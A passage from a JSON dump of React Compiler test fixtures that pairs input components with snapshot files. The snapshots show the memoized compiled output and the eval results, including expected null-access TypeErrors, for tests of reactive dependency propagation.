    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({a, cond}) {\n  // Assume fn will be uncond evaluated, so we can safely evaluate {a.<any>,\n  // a.b.<any}\n  const fn = () => [a, a.b.c];\n  useIdentity(null);\n  const x = makeArray();\n  if (cond) {\n    x.push(identity(a.b.c));\n  }\n  return <Stringify fn={fn} x={x} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, cond: true}],\n  sequentialRenders: [\n    {a: null, cond: true},\n    {a: {b: {c: 4}}, cond: true},\n    {a: {b: {c: 4}}, cond: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { identity, makeArray, Stringify, useIdentity } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(8);\n  const { a, cond } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = () => [a, a.b.c];\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const fn = t1;\n  useIdentity(null);\n  let x;\n  if ($[2] !== a.b.c || $[3] !== cond) {\n    x = makeArray();\n    if (cond) {\n      x.push(identity(a.b.c));\n    }\n    $[2] = a.b.c;\n    $[3] = cond;\n    $[4] = x;\n  } else {\n    x = $[4];\n  }\n  let t2;\n  if ($[5] !== fn || $[6] !== x) {\n    t2 = <Stringify fn={fn} x={x} shouldInvokeFns={true} />;\n    $[5] = fn;\n    $[6] = x;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ a: null, cond: true }],\n  sequentialRenders: [\n    { a: null, cond: true },\n    { a: { b: { c: 4 } }, cond: true },\n    { a: { b: { c: 4 } }, cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":[{\"b\":{\"c\":4}},4]},\"x\":[4],\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":[{\"b\":{\"c\":4}},4]},\"x\":[4],\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-hoists-other-dep.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({a, cond}) {\n  // Assume fn will be uncond evaluated, so we can safely evaluate {a.<any>,\n  // a.b.<any}\n  const fn = () => [a, a.b.c];\n  useIdentity(null);\n  const x = makeArray();\n  if (cond) {\n    x.push(identity(a.b.c));\n  }\n  return <Stringify fn={fn} x={x} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, cond: true}],\n  sequentialRenders: [\n    {a: null, cond: true},\n    {a: {b: {c: 4}}, cond: true},\n    {a: {b: {c: 4}}, cond: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {mutate, shallowCopy, Stringify} from 'shared-runtime';\n\nfunction useFoo({a}: {a: {b: {c: number}}}) {\n  const local = shallowCopy(a);\n  mutate(local);\n  const fn = () => local.b.c;\n  return <Stringify fn={fn} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { mutate, shallowCopy, Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(4);\n  const { a } = t0;\n  let local;\n  if ($[0] !== a) {\n    local = shallowCopy(a);\n    mutate(local);\n    $[0] = a;\n    $[1] = local;\n  } else {\n    local = $[1];\n  }\n  let t1;\n  if ($[2] !== local.b.c) {\n    const fn = () => local.b.c;\n    t1 = <Stringify fn={fn} shouldInvokeFns={true} />;\n    $[2] = local.b.c;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":4},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-access-local-var.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {mutate, shallowCopy, Stringify} from 'shared-runtime';\n\nfunction useFoo({a}: {a: {b: {c: number}}}) {\n  const local = shallowCopy(a);\n  mutate(local);\n  const fn = () => local.b.c;\n  return <Stringify fn={fn} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({a, cond}) {\n  // Assume fn can be uncond evaluated, so we can safely evaluate a.b?.c.<any>\n  const fn = () => [a, a.b?.c.d];\n  useIdentity(null);\n  const arr = makeArray();\n  if (cond) {\n    arr.push(identity(a.b?.c.e));\n  }\n  return <Stringify fn={fn} arr={arr} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, cond: true}],\n  sequentialRenders: [\n    {a: null, cond: true},\n    {a: {b: {c: {d: 5}}}, cond: true},\n    {a: {b: null}, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { identity, makeArray, Stringify, useIdentity } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(8);\n  const { a, cond } = t0;\n  let t1;\n  if ($[0] !== a) {\n    t1 = () => [a, a.b?.c.d];\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const fn = t1;\n  useIdentity(null);\n  let arr;\n  if ($[2] !== a.b?.c.e || $[3] !== cond) {\n    arr = makeArray();\n    if (cond) {\n      arr.push(identity(a.b?.c.e));\n    }\n    $[2] = a.b?.c.e;\n    $[3] = cond;\n    $[4] = arr;\n  } else {\n    arr = $[4];\n  }\n  let t2;\n  if ($[5] !== arr || $[6] !== fn) {\n    t2 = <Stringify fn={fn} arr={arr} shouldInvokeFns={true} />;\n    $[5] = arr;\n    $[6] = fn;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ a: null, cond: true }],\n  sequentialRenders: [\n    { a: null, cond: true },\n    { a: { b: { c: { d: 5 } } }, cond: true },\n    { a: { b: null }, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":[{\"b\":{\"c\":{\"d\":5}}},5]},\"arr\":[null],\"shouldInvokeFns\":true}</div>\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":[{\"b\":null},null]},\"arr\":[],\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-function-uncond-optional-hoists-other-dep.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {identity, makeArray, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({a, cond}) {\n  // Assume fn can be uncond evaluated, so we can safely evaluate a.b?.c.<any>\n  const fn = () => [a, a.b?.c.d];\n  useIdentity(null);\n  const arr = makeArray();\n  if (cond) {\n    arr.push(identity(a.b?.c.e));\n  }\n  return <Stringify fn={fn} arr={arr} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, cond: true}],\n  sequentialRenders: [\n    {a: null, cond: true},\n    {a: {b: {c: {d: 5}}}, cond: true},\n    {a: {b: null}, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {shallowCopy, Stringify, mutate} from 'shared-runtime';\n\nfunction useFoo({a}: {a: {b: {c: number}}}) {\n  const local = shallowCopy(a);\n  mutate(local);\n  const fn = () => [() => local.b.c];\n  return <Stringify fn={fn} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { shallowCopy, Stringify, mutate } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(4);\n  const { a } = t0;\n  let local;\n  if ($[0] !== a) {\n    local = shallowCopy(a);\n    mutate(local);\n    $[0] = a;\n    $[1] = local;\n  } else {\n    local = $[1];\n  }\n  let t1;\n  if ($[2] !== local) {\n    const fn = () => [() => local.b.c];\n    t1 = <Stringify fn={fn} shouldInvokeFns={true} />;\n    $[2] = local;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":[{\"kind\":\"Function\",\"result\":4}]},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access-local-var.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {shallowCopy, Stringify, mutate} from 'shared-runtime';\n\nfunction useFoo({a}: {a: {b: {c: number}}}) {\n  const local = shallowCopy(a);\n  mutate(local);\n  const fn = () => [() => local.b.c];\n  return <Stringify fn={fn} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  const fn = () => {\n    return () => ({\n      value: a.b.c,\n    });\n  };\n  return <Stringify fn={fn} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let t1;\n  if ($[0] !== a.b.c) {\n    const fn = () => () => ({ value: a.b.c });\n    t1 = <Stringify fn={fn} shouldInvokeFns={true} />;\n    $[0] = a.b.c;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"fn\":{\"kind\":\"Function\",\"result\":{\"kind\":\"Function\",\"result\":{\"value\":4}}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-nested-function-uncond-access.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  const fn = () => {\n    return () => ({\n      value: a.b.c,\n    });\n  };\n  return <Stringify fn={fn} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {identity, Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  const x = {\n    fn() {\n      return identity(a.b.c);\n    },\n  };\n  return <Stringify x={x} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { identity, Stringify } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let t1;\n  if ($[0] !== a) {\n    const x = {\n      fn() {\n        return identity(a.b.c);\n      },\n    };\n    t1 = <Stringify x={x} shouldInvokeFns={true} />;\n    $[0] = a;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [{ a: null }, { a: { b: { c: 4 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"x\":{\"fn\":{\"kind\":\"Function\",\"result\":4}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-object-method-uncond-access.tsx",
    "content": "// @enablePropagateDepsInHIR\n\nimport {identity, Stringify} from 'shared-runtime';\n\nfunction useFoo({a}) {\n  const x = {\n    fn() {\n      return identity(a.b.c);\n    },\n  };\n  return <Stringify x={x} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [{a: null}, {a: {b: {c: 4}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({a, shouldReadA}) {\n  return (\n    <Stringify\n      objectMethod={{\n        method() {\n          if (shouldReadA) return a.b.c;\n          return null;\n        },\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(3);\n  const { a, shouldReadA } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== shouldReadA) {\n    t1 = (\n      <Stringify\n        objectMethod={{\n          method() {\n            if (shouldReadA) {\n              return a.b.c;\n            }\n            return null;\n          },\n        }}\n        shouldInvokeFns={true}\n      />\n    );\n    $[0] = a;\n    $[1] = shouldReadA;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ a: null, shouldReadA: true }],\n  sequentialRenders: [\n    { a: null, shouldReadA: true },\n    { a: null, shouldReadA: false },\n    { a: { b: { c: 4 } }, shouldReadA: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n<div>{\"objectMethod\":{\"method\":{\"kind\":\"Function\",\"result\":null}},\"shouldInvokeFns\":true}</div>\n<div>{\"objectMethod\":{\"method\":{\"kind\":\"Function\",\"result\":4}},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/infer-objectmethod-cond-access.js",
    "content": "// @enablePropagateDepsInHIR\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({a, shouldReadA}) {\n  return (\n    <Stringify\n      objectMethod={{\n        method() {\n          if (shouldReadA) return a.b.c;\n          return null;\n        },\n      }}\n      shouldInvokeFns={true}\n    />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{a: null, shouldReadA: true}],\n  sequentialRenders: [\n    {a: null, shouldReadA: true},\n    {a: null, shouldReadA: false},\n    {a: {b: {c: 4}}, shouldReadA: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n// This tests an optimization, NOT a correctness property.\n// When propagating reactive dependencies of an inner scope up to its parent,\n// we prefer to retain granularity.\n//\n// In this test, we check that Forget propagates the inner scope's conditional\n// dependencies (e.g. props.a.b) instead of only its derived minimal\n// unconditional dependencies (e.g. props).\n// ```javascript\n//  scope @0 (deps=[???] decls=[x, y]) {\n//    let y = {};\n//    scope @1 (deps=[props] decls=[x]) {\n//      let x = {};\n//      if (foo) mutate1(x, props.a.b);\n//    }\n//    mutate2(y, props.a.b);\n//  }\n\nimport {CONST_TRUE, setProperty} from 'shared-runtime';\n\nfunction useJoinCondDepsInUncondScopes(props) {\n  let y = {};\n  let x = {};\n  if (CONST_TRUE) {\n    setProperty(x, props.a.b);\n  }\n  setProperty(y, props.a.b);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useJoinCondDepsInUncondScopes,\n  params: [{a: {b: 3}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n// This tests an optimization, NOT a correctness property.\n// When propagating reactive dependencies of an inner scope up to its parent,\n// we prefer to retain granularity.\n//\n// In this test, we check that Forget propagates the inner scope's conditional\n// dependencies (e.g. props.a.b) instead of only its derived minimal\n// unconditional dependencies (e.g. props).\n// ```javascript\n//  scope @0 (deps=[???] decls=[x, y]) {\n//    let y = {};\n//    scope @1 (deps=[props] decls=[x]) {\n//      let x = {};\n//      if (foo) mutate1(x, props.a.b);\n//    }\n//    mutate2(y, props.a.b);\n//  }\n\nimport { CONST_TRUE, setProperty } from \"shared-runtime\";\n\nfunction useJoinCondDepsInUncondScopes(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.a.b) {\n    const y = {};\n    const x = {};\n    if (CONST_TRUE) {\n      setProperty(x, props.a.b);\n    }\n    setProperty(y, props.a.b);\n    t0 = [x, y];\n    $[0] = props.a.b;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useJoinCondDepsInUncondScopes,\n  params: [{ a: { b: 3 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"wat0\":3},{\"wat0\":3}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/join-uncond-scopes-cond-deps.js",
    "content": "// @enablePropagateDepsInHIR\n// This tests an optimization, NOT a correctness property.\n// When propagating reactive dependencies of an inner scope up to its parent,\n// we prefer to retain granularity.\n//\n// In this test, we check that Forget propagates the inner scope's conditional\n// dependencies (e.g. props.a.b) instead of only its derived minimal\n// unconditional dependencies (e.g. props).\n// ```javascript\n//  scope @0 (deps=[???] decls=[x, y]) {\n//    let y = {};\n//    scope @1 (deps=[props] decls=[x]) {\n//      let x = {};\n//      if (foo) mutate1(x, props.a.b);\n//    }\n//    mutate2(y, props.a.b);\n//  }\n\nimport {CONST_TRUE, setProperty} from 'shared-runtime';\n\nfunction useJoinCondDepsInUncondScopes(props) {\n  let y = {};\n  let x = {};\n  if (CONST_TRUE) {\n    setProperty(x, props.a.b);\n  }\n  setProperty(y, props.a.b);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useJoinCondDepsInUncondScopes,\n  params: [{a: {b: 3}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a.b` or a subpath as a dependency.\n//\n// (1) Since the reactive block producing x unconditionally read props.a.<...>,\n//     reading `props.a.b` outside of the block would still preserve nullthrows\n//     semantics of source code\n// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.\n//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,\n//     not its actual value. Since we already preserve nullthrows on `props.a`,\n//     we technically do not need to add `props.a` as a dependency.\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  x.push(props.a.b.c);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {b: {c: 1}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a.b` or a subpath as a dependency.\n//\n// (1) Since the reactive block producing x unconditionally read props.a.<...>,\n//     reading `props.a.b` outside of the block would still preserve nullthrows\n//     semantics of source code\n// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.\n//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,\n//     not its actual value. Since we already preserve nullthrows on `props.a`,\n//     we technically do not need to add `props.a` as a dependency.\n\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a.b) {\n    x = [];\n    x.push(props.a?.b);\n    x.push(props.a.b.c);\n    $[0] = props.a.b;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: { b: { c: 1 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"c\":1},1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain.ts",
    "content": "// @enablePropagateDepsInHIR\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a.b` or a subpath as a dependency.\n//\n// (1) Since the reactive block producing x unconditionally read props.a.<...>,\n//     reading `props.a.b` outside of the block would still preserve nullthrows\n//     semantics of source code\n// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.\n//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,\n//     not its actual value. Since we already preserve nullthrows on `props.a`,\n//     we technically do not need to add `props.a` as a dependency.\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  x.push(props.a.b.c);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {b: {c: 1}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  const x = [];\n  x.push(props.items?.length);\n  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: {edges: null, length: 0}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.items?.edges || $[1] !== props.items?.length) {\n    x = [];\n    x.push(props.items?.length);\n    let t0;\n    if ($[3] !== props.items?.edges) {\n      t0 = props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? [];\n      $[3] = props.items?.edges;\n      $[4] = t0;\n    } else {\n      t0 = $[4];\n    }\n    x.push(t0);\n    $[0] = props.items?.edges;\n    $[1] = props.items?.length;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: { edges: null, length: 0 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [0,[]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/memberexpr-join-optional-chain2.ts",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  const x = [];\n  x.push(props.items?.length);\n  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: {edges: null, length: 0}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {identity} from 'shared-runtime';\n\n/**\n * Very contrived text fixture showing that it's technically incorrect to merge\n * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an\n * unconditionally evaluated optional chain (`dep?.path`).\n *\n *\n * when screen is non-null, useFoo returns { title: null } or \"(not null)\"\n * when screen is null, useFoo throws\n */\nfunction useFoo({screen}: {screen: null | undefined | {title_text: null}}) {\n  return screen?.title_text != null\n    ? '(not null)'\n    : identity({title: screen.title_text});\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{screen: null}],\n  sequentialRenders: [{screen: {title_bar: undefined}}, {screen: null}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { identity } from \"shared-runtime\";\n\n/**\n * Very contrived text fixture showing that it's technically incorrect to merge\n * a conditional dependency (e.g. dep.path in `cond ? dep.path : ...`) and an\n * unconditionally evaluated optional chain (`dep?.path`).\n *\n *\n * when screen is non-null, useFoo returns { title: null } or \"(not null)\"\n * when screen is null, useFoo throws\n */\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { screen } = t0;\n  let t1;\n  if ($[0] !== screen) {\n    t1 =\n      screen?.title_text != null\n        ? \"(not null)\"\n        : identity({ title: screen.title_text });\n    $[0] = screen;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ screen: null }],\n  sequentialRenders: [{ screen: { title_bar: undefined } }, { screen: null }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'title_text') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/reduce-reactive-deps/merge-uncond-optional-chain-and-cond.ts",
